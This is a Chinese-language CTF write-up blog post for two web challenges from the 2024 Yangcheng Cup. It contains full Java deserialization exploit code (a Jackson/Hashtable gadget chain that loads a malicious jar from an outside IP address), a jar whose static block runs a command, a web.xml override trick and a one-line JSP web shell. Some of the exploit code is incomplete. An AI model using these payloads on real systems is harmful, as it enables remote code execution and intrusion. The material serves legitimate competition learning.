CTF的"乐子"
前言
很多人都说 "CTF只图一乐" ,还真是啊,本次介绍一个比赛可以激发无限CTFer的潜能,奋战24H(后面有彩蛋),原文章博客地址为
https://zjackky.github.io
Web题解
先摆个打了好久的题
Ez_java
有权限校验,但是是1.2.4的shiro,可以绕过本来以为可以直接打反序列化的,但是发现这里是可以自己实现登录逻辑的,自定义实现了Realm,不懂看这
https://blog.csdn.net/qq_42814833/article/details/118897560
看依赖有几个有问题的依赖包,看代码注意下ycb的包名即可,查看User这个Java Bean
发现个getter能调用URLclassloader加载类,但是ban了 http
和 file
之前做过,想到用jar
协议来绕开并且远程加载jar包即可
接下来看控制器发现可以裸反序列化,但是存在黑名单
private staticfinalString[] blacklist ={
"java.lang.Runtime",
"java.lang.ProcessBuilder",
"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"java.security.SignedObject",
"com.sun.jndi.ldap.LdapAttribute",
"org.apache.commons.beanutils",
"org.apache.commons.collections",
"javax.management.BadAttributeValueExpException","com.sun.org.apache.xpath.internal.objects.XString"
};
禁用了BadAttributeValueExpException,但是可以走Hashtable的tostring去调用Jackson来完成getter的触发(恰好是之前审的帆软,也是CT大哥的文章),可以想到直接调用到上述的getgift,tututu就写好了
此时去生成一个恶意的jar即可,但这里要注意下URLclassloader是会把Jar加载的JVM里头,但你不去调用他就不会去找这个类,所以我们要去找这个类才能触发HTTP请求 or file协议
这里给出自己调试的代码
String gift="jar:http://127.0.0.1:8081/hello.jar!/";
URLurl1=newURL(gift);
Class<?>URLclass=Class.forName("java.net.URLClassLoader");
Methodadd=URLclass.getDeclaredMethod("addURL", URL.class);
add.setAccessible(true);
URLClassLoaderclassloader=(URLClassLoader)ClassLoader.getSystemClassLoader();
add.invoke(classloader, url1);
我的jar是这样子的
import java.io.*;
publicclassMainimplementsSerializable{
static{
try{
Runtime.getRuntime().exec("open .");
}catch(Exception e){}
}
privateString name;
privateint age;
publicMain(){
System.out.println("person constructor");
}
publicMain(String name, int age){
this.name = name;
this.age = age;
}
publicStringgetName(){
System.out.println("Person.getName()");
return name;
}
publicvoidsetName(String name){
System.out.println("Person.setName()");
this.name = name;
}
publicintgetAge(){
System.out.println("Person.getAge()");
return age;
}
publicvoidsetAge(int age){
System.out.println("Person.setAge()");
this.age = age;
}
publicstaticvoidmain(String[] args)throwsIOException,ClassNotFoundException{
Mainperson=newMain();
serialize(person);
// unserialize("ser.bin");
}
publicstaticvoidserialize(Object obj)throwsIOException{
ObjectOutputStreamoos=newObjectOutputStream(newFileOutputStream("ser.bin"));
oos.writeObject(obj);
}
publicstaticObjectunserialize(String Filename)throwsIOException,ClassNotFoundException{
ObjectInputStreamois=newObjectInputStream(newFileInputStream(Filename));
Objectobj= ois.readObject();
return obj;
}
}
此时直接加载是不会触发HTTP请求的,也不会实例化该类,此时用反射去调用该类即可触发HTTP请求了
真是折磨到十一点(早9开始的)
那此时清楚URLclassloader之后就可以打了,在这里有个反序列化入口,让反序列化去找这个类即可进行类加载从而触发他的静态方法
打了第一个遍后打第二遍的找类
链子是公开的
https://xz.aliyun.com/t/14732
Exp
package com.example.ycbjava.bean;
importUtils.SerializeTools;
import com.fasterxml.jackson.databind.node.POJONode;
import javassist.*;
import org.springframework.aop.framework.AdvisedSupport;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.Hashtable;
import java.util.Map;
importstaticUtils.SerializeTools.CreateWithoutConstructor;
publicclassJacksonnoStable{
publicbyte[] getPayload(byte[] clazzBytes)throwsException{
ClassPoolpool=ClassPool.getDefault();
CtClassctClass0= pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethodwriteReplace= ctClass0.getDeclaredMethod("writeReplace");
ctClass0.removeMethod(writeReplace);
ctClass0.toClass();
Useruser=newUser();
user.setUsername("jar:http://118.31.166.161:8000/hello.jar!/");
POJONodejsonNodes=newPOJONode(user);
MapThashmap1=(Map)CreateWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap");
MapThashmap2=(Map)CreateWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap");
Thashmap1.put(jsonNodes,"xx");
Thashmap2.put(jsonNodes,"yy");
SerializeTools.setValue(Thashmap1,"loadFactor",1);
SerializeTools.setValue(Thashmap2,"loadFactor",1);
Hashtable<Object,Object> hashtable =newHashtable<>();
hashtable.put(Thashmap1,1);
hashtable.put(Thashmap2,2);
Thashmap1.put(jsonNodes,null);
Thashmap2.put(jsonNodes,null);
objectOutputStream.writeObject(hashtable);
objectOutputStream.close();
Stringres=Base64.getEncoder().encodeToString(barr.toByteArray());
return barr.toByteArray();
}
}
Tomtom2
能读xml
找到tomcat密码
<user
username="admin"
password="This_is_my_favorite_passwd"
roles="manager-gui"
/>
扫到有上传接口 myapp/upload.html
上传path可控,测了只能传xml,可以通过覆盖 WEB-INF/web.xml 来写个新的servlet,并且指定解析一个xml来作为jsp
web.xml内容如下
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<servlet>
<servlet-name>qwe</servlet-name>
<jsp-file>/WEB-INF/jsp/web.xml</jsp-file>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>qwe</servlet-name>
<url-pattern>/run</url-pattern>
</servlet-mapping>
</web-app>
然后写个JSP即可,也可以写个回显马展示,也可以懒得写直接弹shell随便
<%=Runtime.getRuntime.exec(request.getParameter("a"))%>
彩蛋
https://www.zhihu.com/question/665413633 # 如何看待2024羊城杯网络安全大赛
一群没进决赛的好哥哥全通宵了(真打CTF打的啊?)
最骚的还是这个高级会员版的Jadx
正常的应该为
真就是CTF只图一乐呗?